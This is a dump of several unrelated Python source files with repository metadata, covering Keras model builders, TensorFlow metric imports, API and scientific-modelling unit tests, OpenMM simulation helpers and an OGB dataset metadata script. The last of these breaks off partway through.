str(nr_of_epochs) + "D10T_D7T_D5T_D4T_D3T_D1S" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Flatten()) model.add(Dense(10)) model.add(Activation("tanh")) model.add(Dense(7)) model.add(Activation("tanh")) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Dense(4)) model.add(Activation("tanh")) model.add(Dense(3)) model.add(Activation("tanh")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # convolutional network with ReLU if index == 5: architecture = set_name + str(nr_of_epochs) + "COV32R_COV64R_D10R_D5R_D" + str(amount_of_classes) + "Soft" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1]))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Conv2D(16, kernel_size=(3,3), strides=(1,1),input_shape=(x_train_shape[0], x_train_shape[1], x_train_shape[2]))) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) model.add(Conv2D(32, kernel_size=(5, 5), strides=(1,1))) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) model.add(Dense(7)) model.add(Activation("relu")) model.add(Dense(5)) model.add(Activation("relu")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # convolutional network with TanH if index == 6: architecture = set_name + str(nr_of_epochs) + "COV32T_COV64T_D10T_D5T_D" + str(amount_of_classes) +"Soft" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1]))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Conv2D(16, kernel_size=(3,3), strides=(1,1), input_shape=(x_train_shape[0],x_train_shape[1],x_train_shape[2]))) model.add(Activation("tanh")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) model.add(Conv2D(32, kernel_size=(5, 5), strides=(1,1))) model.add(Activation("tanh")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) model.add(Dense(7)) model.add(Activation("tanh")) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # Same layer size network ReLU if index == 7: architecture = set_name + str(nr_of_epochs) + "D5R_D5R_D5R_D5R_D5R_D1S" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Dense(5)) model.add(Activation("relu")) model.add(Dense(5)) model.add(Activation("relu")) model.add(Dense(5)) model.add(Activation("relu")) model.add(Dense(5)) model.add(Activation("relu")) model.add(Dense(5)) model.add(Activation("relu")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # Same layer size network TanH if index == 8: architecture = set_name + str(nr_of_epochs) + "D5T_D5T_D5T_D5T_D5T_D1S" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # bottleneck network with TanH if index == 9: architecture = set_name + str(nr_of_epochs) + "D12T_D3T_D2T_D12T_D2T_D1S" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Dense(12)) model.add(Activation("tanh")) model.add(Dense(3)) model.add(Activation("tanh")) model.add(Dense(2)) model.add(Activation("tanh")) model.add(Dense(12)) model.add(Activation("tanh")) model.add(Dense(2)) model.add(Activation("tanh")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # bottleneck network with ReLU if index == 10: architecture = set_name + str(nr_of_epochs) + "D12R_D3R_D2R_D12R_D2R_D1S" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Dense(12)) model.add(Activation("relu")) model.add(Dense(3)) model.add(Activation("relu")) model.add(Dense(2)) model.add(Activation("relu")) model.add(Dense(12)) model.add(Activation("relu")) model.add(Dense(2)) model.add(Activation("relu")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # leaky ReLU network if index == 11: architecture = set_name + str(nr_of_epochs) + "D10LR_D7LR_D5LR_D4LR_D3LR_D1S" model = Sequential() #model.add(InputLayer((x_train_shape,))) if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Flatten()) model.add(Dense(10)) model.add(LeakyReLU(alpha=0.1)) model.add(Dense(7)) model.add(LeakyReLU(alpha=0.1)) model.add(Dense(5)) model.add(LeakyReLU(alpha=0.1)) model.add(Dense(4)) model.add(LeakyReLU(alpha=0.1)) model.add(Dense(3)) model.add(LeakyReLU(alpha=0.1)) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) return model, architecture

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32.962025

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1

0

1

0

1

0

null

0

8

4d7df921ec137def1ddd43689a42e20db0ff3bf9

2,153

py

Python

Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/metrics/__init__.py

Con-Mi/lambda-packs

b23a8464abdd88050b83310e1d0e99c54dac28ab

[ "MIT" ]

3

2019-04-01T11:03:04.000Z

2019-12-31T02:17:15.000Z

Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/metrics/__init__.py

Con-Mi/lambda-packs

b23a8464abdd88050b83310e1d0e99c54dac28ab

[ "MIT" ]

1

2021-04-15T18:46:45.000Z

Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/metrics/__init__.py

Con-Mi/lambda-packs

b23a8464abdd88050b83310e1d0e99c54dac28ab

[ "MIT" ]

1

2021-09-23T13:43:07.000Z

"""Imports for Python API. This file is MACHINE GENERATED! Do not edit. Generated by: tensorflow/tools/api/generator/create_python_api.py script. """ from tensorflow.python.ops.metrics import accuracy from tensorflow.python.ops.metrics import auc from tensorflow.python.ops.metrics import average_precision_at_k from tensorflow.python.ops.metrics import false_negatives from tensorflow.python.ops.metrics import false_negatives_at_thresholds from tensorflow.python.ops.metrics import false_positives from tensorflow.python.ops.metrics import false_positives_at_thresholds from tensorflow.python.ops.metrics import mean from tensorflow.python.ops.metrics import mean_absolute_error from tensorflow.python.ops.metrics import mean_cosine_distance from tensorflow.python.ops.metrics import mean_iou from tensorflow.python.ops.metrics import mean_per_class_accuracy from tensorflow.python.ops.metrics import mean_relative_error from tensorflow.python.ops.metrics import mean_squared_error from tensorflow.python.ops.metrics import mean_tensor from tensorflow.python.ops.metrics import percentage_below from tensorflow.python.ops.metrics import precision from tensorflow.python.ops.metrics import precision_at_k from tensorflow.python.ops.metrics import precision_at_thresholds from tensorflow.python.ops.metrics import precision_at_top_k from tensorflow.python.ops.metrics import recall from tensorflow.python.ops.metrics import recall_at_k from tensorflow.python.ops.metrics import recall_at_thresholds from tensorflow.python.ops.metrics import recall_at_top_k from tensorflow.python.ops.metrics import root_mean_squared_error from tensorflow.python.ops.metrics import sensitivity_at_specificity from tensorflow.python.ops.metrics import sparse_average_precision_at_k from tensorflow.python.ops.metrics import sparse_precision_at_k from tensorflow.python.ops.metrics import specificity_at_sensitivity from tensorflow.python.ops.metrics import true_negatives from tensorflow.python.ops.metrics import true_negatives_at_thresholds from tensorflow.python.ops.metrics import true_positives from tensorflow.python.ops.metrics import true_positives_at_thresholds

56.657895

73

0.87738

315

2,153

5.796825

0.168254

0.253012

0.361446

0.415663

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null

0

1

0

1

0

1

0

10

4d80a70f3e54efcb2f91c7944b437bf6ede5f182

4,230

py

Python

tests/changes/api/test_repository_tree_index.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

443

2015-01-03T16:28:39.000Z

2021-04-26T16:39:46.000Z

tests/changes/api/test_repository_tree_index.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

12

2015-07-30T19:07:16.000Z

2016-11-07T23:11:21.000Z

tests/changes/api/test_repository_tree_index.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

47

2015-01-09T10:04:00.000Z

2020-11-18T17:58:19.000Z

import urllib from mock import patch from changes.models.repository import RepositoryBackend from changes.testutils import APITestCase class RepositoryTreeListTest(APITestCase): def test_no_vcs(self): repo = self.create_repo(url='https://example.co.nonexistent/bar') path = '/api/0/repositories/{0}/branches/'.format(repo.id) resp = self.client.get(path) self.assertEquals(resp.status_code, 422, resp.data) self.assertIn('backend', resp.data) @patch('changes.vcs.git.GitVcs.get_known_branches') def test_get_single_branch(self, known_branches_mock): test_branch_name = 'some_branch_name' known_branches_mock.return_value = [test_branch_name] repo = self.create_repo(url='https://example.co.nonexistent/bar', backend=RepositoryBackend.git) path = '/api/0/repositories/{0}/branches/'.format(repo.id) resp = self.client.get(path) self.assertEquals(resp.status_code, 200, resp.data) data = self.unserialize(resp) assert len(data) == 1 assert data[0]['name'] == test_branch_name @patch('changes.vcs.git.GitVcs.get_known_branches') def test_get_multiple_branches(self, known_branches_mock): test_branches = ['first_branch', '2nd:Branch'] known_branches_mock.return_value = test_branches repo = self.create_repo(url='https://example.co.nonexistent/bar', backend=RepositoryBackend.git) path = '/api/0/repositories/{0}/branches/'.format(repo.id) resp = self.client.get(path) self.assertEquals(resp.status_code, 200, resp.data) data = self.unserialize(resp) assert len(data) == 2 self.assertIn(data[0]['name'], test_branches) self.assertIn(data[1]['name'], test_branches) @patch('changes.vcs.git.GitVcs.get_known_branches') def test_get_with_tree_filter(self, known_branches_mock): test_branches = ['master', 'MATCH_ME'] known_branches_mock.return_value = test_branches repo = self.create_repo(url='https://example.co.nonexistent/bar', backend=RepositoryBackend.git) path = '/api/0/repositories/{0}/branches/?branch={1}'.format( repo.id, 'match') resp = self.client.get(path) self.assertEquals(resp.status_code, 200, resp.data) data = self.unserialize(resp) assert len(data) == 1 self.assertIn(data[0]['name'], 'MATCH_ME') @patch('changes.vcs.git.GitVcs.get_known_branches') def test_get_with_escaped_tree_filter(self, known_branches_mock): test_branches = ['master', 'MATCH:/ME'] known_branches_mock.return_value = test_branches repo = self.create_repo(url='https://example.co.nonexistent/bar', backend=RepositoryBackend.git) path = '/api/0/repositories/{0}/branches/?branch={1}'.format( repo.id, urllib.quote('match:/', safe='')) resp = self.client.get(path) self.assertEquals(resp.status_code, 200, resp.data) data = self.unserialize(resp) assert len(data) == 1 self.assertIn(data[0]['name'], 'MATCH:/ME') @patch('changes.vcs.git.GitVcs.get_known_branches') def test_get_with_caching(self, known_branches_mock): test_branches = ['first_branch', '2nd:Branch'] known_branches_mock.return_value = test_branches repo = self.create_repo(url='https://example.co.nonexistent/bar', backend=RepositoryBackend.git) path = '/api/0/repositories/{0}/branches/'.format(repo.id) # Get first time to warm up cache resp = self.client.get(path) self.assertEquals(resp.status_code, 200, resp.data) data = self.unserialize(resp) print(data) assert len(data) == 2 # Get again to fetch from cache resp = self.client.get(path) self.assertEquals(resp.status_code, 200, resp.data) data = self.unserialize(resp) print(data) assert len(data) == 2 self.assertIn(data[0]['name'], test_branches) self.assertIn(data[1]['name'], test_branches)

41.881188

73

0.642553

525

4,230

5.001905

0.150476

0.074257

0.064737

0.045316

0.855674

0.846154

0.833968

0

0.0153

0.227423

4,230

100

74

42.3

0.78825

0.014421

0

0.716049

0

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0.102016

0

0.259259

1

0.074074

false

0

0.049383

0

0.135802

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null

0

1

0

1

0

null

0

7

4d8895ed0b2967ed5e2a2b88a94af9e04dc3472d

3,341

py

Python

tests/integration/test_interpolator.py

vpicavet/LoopStructural

cde34fabc53b4d5cb0f8e22f53a574fac44dfbd6

[ "MIT" ]

67

2020-06-25T06:50:58.000Z

2022-03-29T17:15:43.000Z

tests/integration/test_interpolator.py

vpicavet/LoopStructural

cde34fabc53b4d5cb0f8e22f53a574fac44dfbd6

[ "MIT" ]

60

2020-06-28T22:58:21.000Z

2022-03-24T01:30:59.000Z

tests/integration/test_interpolator.py

vpicavet/LoopStructural

cde34fabc53b4d5cb0f8e22f53a574fac44dfbd6

[ "MIT" ]

9

2020-06-25T13:07:39.000Z

2021-12-01T01:41:24.000Z

from LoopStructural import GeologicalModel from LoopStructural.datasets import load_claudius def test_create_model(): data, bb = load_claudius() model = GeologicalModel(bb[0,:],bb[1,:]) def test_add_data(): data, bb = load_claudius() model = GeologicalModel(bb[0,:],bb[1,:]) model.set_model_data(data) def test_create_stratigraphy_FDI_cg(): data, bb = load_claudius() model = GeologicalModel(bb[0, :], bb[1, :]) model.set_model_data(data) s0 = model.create_and_add_foliation('s0', interpolatortype='FDI', nelements=1000, solver='cg', damp=False) def test_remove_constraints_PLI(): data, bb = load_claudius() model = GeologicalModel(bb[0, :], bb[1, :]) model.set_model_data(data) s0 = model.create_and_add_foliation('s0', interpolatortype='FDI', nelements=1000, solver='cg', damp=False) def test_create_stratigraphy_FDI_lu(): data, bb = load_claudius() model = GeologicalModel(bb[0, :], bb[1, :]) model.set_model_data(data) s0 = model.create_and_add_foliation('s0', interpolatortype='FDI', nelements=1000, solver='lu', damp=True) def test_create_stratigraphy_FDI_pyamg(): data, bb = load_claudius() model = GeologicalModel(bb[0, :], bb[1, :]) model.set_model_data(data) s0 = model.create_and_add_foliation('s0', interpolatortype='FDI', nelements=1000, solver='pyamg', damp=True) def test_create_stratigraphy_PLI_cg(): data, bb = load_claudius() model = GeologicalModel(bb[0, :], bb[1, :]) model.set_model_data(data) s0 = model.create_and_add_foliation('s0', interpolatortype='PLI', nelements=1000, solver='cg', damp=False) def test_create_stratigraphy_PLI_lu(): data, bb = load_claudius() model = GeologicalModel(bb[0, :], bb[1, :]) model.set_model_data(data) s0 = model.create_and_add_foliation('s0', interpolatortype='PLI', nelements=1000, solver='lu', damp=True) def test_create_stratigraphy_PLI_pyamg(): data, bb = load_claudius() model = GeologicalModel(bb[0, :], bb[1, :]) model.set_model_data(data) s0 = model.create_and_add_foliation('s0', interpolatortype='PLI', nelements=1000, solver='pyamg', damp=True) def test_model_with_data_outside_of_bounding_box(): pass

37.539326

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4.904605

0.134868

0.080483

0.060362

0.108652

0.884641

0.859826

0.843729

0.816901

0

0.031562

0.431009

3,341

88

64

37.965909

0.752762

0

0.824324

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0.016467

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false

0.013514

0.027027

0

0.162162

0

null

0

1

0

1

0

null

0

7

4dc25b6f26d62a3d4dfa159aa616518c120a8eae

243

py

Python

homeworks/alexander_sidorov/lesson17/level08.py

tgrx/Z22

b2539682ff26c8b6d9f63a7670c8a9c6b614a8ff

[ "Apache-2.0" ]

null

homeworks/alexander_sidorov/lesson17/level08.py

tgrx/Z22

b2539682ff26c8b6d9f63a7670c8a9c6b614a8ff

[ "Apache-2.0" ]

8

2019-11-15T18:15:56.000Z

2020-02-03T18:05:05.000Z

homeworks/alexander_sidorov/lesson17/level08.py

tgrx/Z22

b2539682ff26c8b6d9f63a7670c8a9c6b614a8ff

[ "Apache-2.0" ]

null

class Functor: def __init__(self, function, args, kwargs): self.__function = function self.__args = args self.__kwargs = kwargs def __call__(self): return self.__function(*self.__args, **self.__kwargs)

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null

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1

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1

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7

422bf6203241d77a9ddf9abafd598a67ec354af3

4,290

py

Python

test/test_due_data_calculator.py

szabadkai/due-date-calculator

c1e6449593b4896b0fbb8b43b5d128ab66944fe5

[ "MIT" ]

null

test/test_due_data_calculator.py

szabadkai/due-date-calculator

c1e6449593b4896b0fbb8b43b5d128ab66944fe5

[ "MIT" ]

null

test/test_due_data_calculator.py

szabadkai/due-date-calculator

c1e6449593b4896b0fbb8b43b5d128ab66944fe5

[ "MIT" ]

null

from unittest import TestCase from due_date_calculator import DueDateCalculator from freezegun import freeze_time from datetime import datetime as dt from datetime import timedelta import config class TestDueDateCalculator(TestCase): @freeze_time('2018-10-22 12:00:01') def setUp(self): self.calculator = DueDateCalculator(config=config) @freeze_time('2018-10-22 12:00:01') def test_instantiation_with_no_args(self): DueDateCalculator(config=config) @freeze_time('2018-10-20 12:00:01') def test_instantiation_fails_with_invalid_date(self): with self.assertRaises(ValueError): DueDateCalculator(dt.now(), config=config) @freeze_time('2018-10-22 12:00:01') def test_init_with_now_args_results_in_now_start(self): calculator = DueDateCalculator(config=config) self.assertEqual(calculator.submitted_date, dt.now()) @freeze_time('2018-10-22 12:00:01') def test_correct_due_date_is_given_monday_super_happy_path(self): calculator = DueDateCalculator(config=config) self.assertEqual(calculator.due_date, dt.now() + timedelta(days=2)) @freeze_time('2018-10-19 12:00:01') def test_calculator_handles_weekends_gracefully(self): calculator = DueDateCalculator(config=config) self.assertEqual(calculator.due_date, dt.now() + timedelta(days=4)) @freeze_time('2018-10-20') def test_is_weekday(self): self.assertFalse(self.calculator.is_weekday(dt.now()), 'Saturday') self.assertFalse(self.calculator.is_weekday(dt.now() + timedelta(days=1)), 'Sunday') self.assertTrue(self.calculator.is_weekday(dt.now() + timedelta(days=2)), 'Monday') self.assertTrue(self.calculator.is_weekday(dt.now() + timedelta(days=3)) , 'Tuesday') self.assertTrue(self.calculator.is_weekday(dt.now() + timedelta(days=4)), 'Wednesday') self.assertTrue(self.calculator.is_weekday(dt.now() + timedelta(days=5)), 'Thursday') self.assertTrue(self.calculator.is_weekday(dt.now() + timedelta(days=6)), 'Friday') self.assertFalse(self.calculator.is_weekday(dt.now() + timedelta(days=7)), 'Saturday') @freeze_time('2018-10-21') def test_is_open_hours(self): self.assertFalse(self.calculator.is_open_hours(dt.now()), "Too early: Midnight") self.assertFalse(self.calculator.is_open_hours(dt.now() + timedelta(hours=6)), 'Too early: 6am') self.assertTrue(self.calculator.is_open_hours(dt.now() + timedelta(hours=10)), 'Open: 10am') self.assertTrue(self.calculator.is_open_hours(dt.now() + timedelta(hours=16, minutes=59)), 'Open: 5:59pm') self.assertFalse(self.calculator.is_open_hours(dt.now() + timedelta(hours=17)), 'Too late: 6pm') self.assertFalse(self.calculator.is_open_hours(dt.now() + timedelta(days=-2)), 'Closed: Sunday') @freeze_time('2018-10-21') def test_is_business_hours_on_weekend(self): self.assertFalse(self.calculator.is_business_hour(dt.now()), "Too early: Midnight") self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(hours=6)), 'Too early: 6am') self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(hours=10)), 'Open: 10am') self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(hours=16, minutes=59)), 'Open: 5:59pm') self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(hours=17)), 'Too late: 6pm') self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(days=-2)), 'Closed: Sunday') @freeze_time('2018-10-22') def test_is_busines_hours_on_weekday(self): self.assertFalse(self.calculator.is_business_hour(dt.now()), "Too early: Midnight") self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(hours=6)), 'Too early: 6am') self.assertTrue(self.calculator.is_business_hour(dt.now() + timedelta(hours=10)), 'Open: 10am') self.assertTrue(self.calculator.is_business_hour(dt.now() + timedelta(hours=16, minutes=59)), 'Open: 5:59pm') self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(hours=17)), 'Too late: 6pm') self.assertFalse(self.calculator.is_business_hour(dt.now() + timedelta(days=-2)), 'Closed: Sunday')

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null

0

1

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7

423d2ce91f0ae10eb6470918a9c8f42e798c6afe

43,461

py

Python

tests/OpenMaya/test_MDagPath.py

christophercrouzet/bana

8087df05ba9844b4d78d3c4699948ca61cf7621d

[ "MIT" ]

24

2017-01-11T15:57:46.000Z

2020-09-23T06:18:30.000Z

tests/OpenMaya/test_MDagPath.py

christophercrouzet/bana

8087df05ba9844b4d78d3c4699948ca61cf7621d

[ "MIT" ]

null

tests/OpenMaya/test_MDagPath.py

christophercrouzet/bana

8087df05ba9844b4d78d3c4699948ca61cf7621d

[ "MIT" ]

2

2017-03-06T23:52:08.000Z

2020-09-23T06:19:03.000Z

77.887097

1,179

0.725777

4,758

43,461

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null

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8

c41c04167aab9904e34d89661d0b8a64d3bbe748

5,675

py

Python

molecules/sim/simulation/openmm_simulation.py

hengma1001/molecules

c6694cc77ef1eb246f3fdab1f201481d1bcaa07c

[ "MIT" ]

2

2020-03-16T07:47:42.000Z

2021-05-12T11:39:51.000Z

molecules/sim/simulation/openmm_simulation.py

yngtodd/molecules

b16281ae3eda64891f603d23472092051c2bc244

[ "MIT" ]

55

2018-02-10T23:22:15.000Z

2019-12-22T23:11:13.000Z

molecules/sim/simulation/openmm_simulation.py

hengma1001/molecules

c6694cc77ef1eb246f3fdab1f201481d1bcaa07c

[ "MIT" ]

4

2018-08-06T19:49:35.000Z

2020-06-03T02:07:42.000Z

import simtk.openmm.app as app import simtk.openmm as omm import simtk.unit as u import parmed as pmd import random def openmm_simulate_charmm_nvt(top_file, xyz_file, GPU_index=0, output_traj="output.dcd", output_log="output.log", report_time=10*u.picoseconds, sim_time=10*u.nanoseconds): """ Start and run an OpenMM NVT simulation with Langevin integrator at 2 fs time step and 300 K. The cutoff distance for nonbonded interactions were set at 1.2 nm and LJ switch distance at 1.0 nm, which commonly used with Charmm force field. Long-range nonbonded interactions were handled with PME. Parameters ---------- top_file : topology file (.top, .prmtop, ...) This is the topology file discribe all the interactions within the MD system. xyz_file : coordinates file (.gro, .pdb, ...) This is the molecule configuration file contains all the atom position and PBC (periodic boundary condition) box in the system. GPU_index : Int or Str The device # of GPU to use for running the simulation. Use Strings, '0,1' for example, to use more than 1 GPU output_traj : the trajectory file (.dcd) This is the file stores all the coordinates information of the MD simulation results. output_log : the log file (.log) This file stores the MD simulation status, such as steps, time, potential energy, temperature, speed, etc. report_time : 10 ps The program writes its information to the output every 10 ps by default sim_time : 10 ns The timespan of the simulation trajectory """ top = pmd.load_file(top_file, xyz = xyz_file) system = top.createSystem(nonbondedMethod=app.PME, nonbondedCutoff=1.2*u.nanometer, switchDistance=1.0*u.nanometer, constraints=app.HBonds) dt = 0.002*u.picoseconds integrator = omm.LangevinIntegrator(300*u.kelvin, 1/u.picosecond, dt) try: platform = omm.Platform_getPlatformByName("CUDA") properties = {'DeviceIndex': str(GPU_index), 'CudaPrecision': 'mixed'} except Exception: platform = omm.Platform_getPlatformByName("OpenCL") properties = {'DeviceIndex': str(GPU_index)} simulation = app.Simulation(top.topology, system, integrator, platform, properties) simulation.context.setPositions(top.positions) simulation.minimizeEnergy() report_freq = int(report_time/dt) simulation.context.setVelocitiesToTemperature(10*u.kelvin, random.randint(1, 10000)) simulation.reporters.append(app.DCDReporter(output_traj, report_freq)) simulation.reporters.append(app.StateDataReporter(output_log, report_freq, step=True, time=True, speed=True, potentialEnergy=True, temperature=True, totalEnergy=True)) nsteps = int(sim_time/dt) simulation.step(nsteps) def openmm_simulate_amber_nvt(top_file, xyz_file, GPU_index=0, output_traj="output.dcd", output_log="output.log", report_time=10*u.picoseconds, sim_time=10*u.nanoseconds): """ Start and run an OpenMM NVT simulation with Langevin integrator at 2 fs time step and 300 K. The cutoff distance for nonbonded interactions were set at 1.0 nm, which commonly used along with Amber force field. Long-range nonbonded interactions were handled with PME. Parameters ---------- top_file : topology file (.top, .prmtop, ...) This is the topology file discribe all the interactions within the MD system. xyz_file : coordinates file (.gro, .pdb, ...) This is the molecule configuration file contains all the atom position and PBC (periodic boundary condition) box in the system. GPU_index : Int or Str The device # of GPU to use for running the simulation. Use Strings, '0,1' for example, to use more than 1 GPU output_traj : the trajectory file (.dcd) This is the file stores all the coordinates information of the MD simulation results. output_log : the log file (.log) This file stores the MD simulation status, such as steps, time, potential energy, temperature, speed, etc. report_time : 10 ps The program writes its information to the output every 10 ps by default sim_time : 10 ns The timespan of the simulation trajectory """ top = pmd.load_file(top_file, xyz = xyz_file) system = top.createSystem(nonbondedMethod=app.PME, nonbondedCutoff=1.2*u.nanometer, constraints=app.HBonds) dt = 0.002*u.picoseconds integrator = omm.LangevinIntegrator(300*u.kelvin, 1/u.picosecond, dt) try: platform = omm.Platform_getPlatformByName("CUDA") properties = {'DeviceIndex': str(GPU_index), 'CudaPrecision': 'mixed'} except Exception: platform = omm.Platform_getPlatformByName("OpenCL") properties = {'DeviceIndex': str(GPU_index)} simulation = app.Simulation(top.topology, system, integrator, platform, properties) simulation.context.setPositions(top.positions) simulation.minimizeEnergy() report_freq = int(report_time/dt) simulation.context.setVelocitiesToTemperature(10*u.kelvin, random.randint(1, 10000)) simulation.reporters.append(app.DCDReporter(output_traj, report_freq)) simulation.reporters.append(app.StateDataReporter(output_log, report_freq, step=True, time=True, speed=True, potentialEnergy=True, temperature=True, totalEnergy=True)) nsteps = int(sim_time/dt) simulation.step(nsteps)

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7

c44ecfffe2ee056e29a965b69046c23d5f351233

4,217

py

Python

ogb/nodeproppred/make_master_file.py

yelongshen/ogb

293790ee77576375b40a3c7e0ead15be466963fe

[ "MIT" ]

null

ogb/nodeproppred/make_master_file.py

yelongshen/ogb

293790ee77576375b40a3c7e0ead15be466963fe

[ "MIT" ]

null

ogb/nodeproppred/make_master_file.py

yelongshen/ogb

293790ee77576375b40a3c7e0ead15be466963fe

[ "MIT" ]

1

2021-02-14T04:39:46.000Z

### script for writing meta information of datasets into master.csv ### for node property prediction datasets. import pandas as pd dataset_dict = {} dataset_list = [] ### add meta-information about protein function prediction task name = "ogbn-proteins" dataset_dict[name] = {"num tasks": 112, "num classes": 2, "eval metric": "rocauc", "task type": "binary classification"} dataset_dict[name]["download_name"] = "proteinfunc" dataset_dict[name]["version"] = 1 dataset_dict[name]["url"] = "https://snap.stanford.edu/ogb/data/nodeproppred/"+dataset_dict[name]["download_name"]+".zip" ## For undirected grarph, we only store one directional information. This flag allows us to add inverse edge at pre-processing time dataset_dict[name]["add_inverse_edge"] = True dataset_dict[name]["has_node_attr"] = False dataset_dict[name]["has_edge_attr"] = True dataset_dict[name]["split"] = "species" dataset_dict[name]["additional node files"] = 'species' dataset_dict[name]['additional edge files'] = 'None' dataset_dict[name]['is hetero'] = False ### add meta-information about product category prediction task name = "ogbn-products" dataset_dict[name] = {"num tasks": 1, "num classes": 47, "eval metric": "acc", "task type": "multiclass classification"} dataset_dict[name]["download_name"] = "products" dataset_dict[name]["version"] = 1 dataset_dict[name]["url"] = "https://snap.stanford.edu/ogb/data/nodeproppred/"+dataset_dict[name]["download_name"]+".zip" ## For undirected grarph, we only store one directional information. This flag allows us to add inverse edge at pre-processing time dataset_dict[name]["add_inverse_edge"] = True dataset_dict[name]["has_node_attr"] = True dataset_dict[name]["has_edge_attr"] = False dataset_dict[name]["split"] = "sales_ranking" dataset_dict[name]["additional node files"] = 'None' dataset_dict[name]['additional edge files'] = 'None' dataset_dict[name]['is hetero'] = False ### add meta-information about arxiv category prediction task name = "ogbn-arxiv" dataset_dict[name] = {"num tasks": 1, "num classes": 40, "eval metric": "acc", "task type": "multiclass classification"} dataset_dict[name]["download_name"] = "arxiv" dataset_dict[name]["version"] = 1 dataset_dict[name]["url"] = "https://snap.stanford.edu/ogb/data/nodeproppred/"+dataset_dict[name]["download_name"]+".zip" dataset_dict[name]["add_inverse_edge"] = False dataset_dict[name]["has_node_attr"] = True dataset_dict[name]["has_edge_attr"] = False dataset_dict[name]["split"] = "time" dataset_dict[name]["additional node files"] = 'node_year' dataset_dict[name]['additional edge files'] = 'None' dataset_dict[name]['is hetero'] = False ### add meta-information about paper venue prediction task name = "ogbn-mag" dataset_dict[name] = {"num tasks": 1, "num classes": 349, "eval metric": "acc", "task type": "multiclass classification"} dataset_dict[name]["download_name"] = "mag" dataset_dict[name]["version"] = 2 dataset_dict[name]["url"] = "https://snap.stanford.edu/ogb/data/nodeproppred/"+dataset_dict[name]["download_name"]+".zip" dataset_dict[name]["add_inverse_edge"] = False dataset_dict[name]["has_node_attr"] = True dataset_dict[name]["has_edge_attr"] = False dataset_dict[name]["split"] = "time" dataset_dict[name]["additional node files"] = 'node_year' dataset_dict[name]['additional edge files'] = 'edge_reltype' dataset_dict[name]['is hetero'] = True ### add meta-information about paper category prediction in huge paper citation network name = "ogbn-papers100M" dataset_dict[name] = {"num tasks": 1, "num classes": 172, "eval metric": "acc", "task type": "multiclass classification"} dataset_dict[name]["download_name"] = "papers100M" dataset_dict[name]["version"] = 1 dataset_dict[name]["url"] = "https://snap.stanford.edu/ogb/data/nodeproppred/"+dataset_dict[name]["download_name"]+".zip" dataset_dict[name]["add_inverse_edge"] = False dataset_dict[name]["has_node_attr"] = True 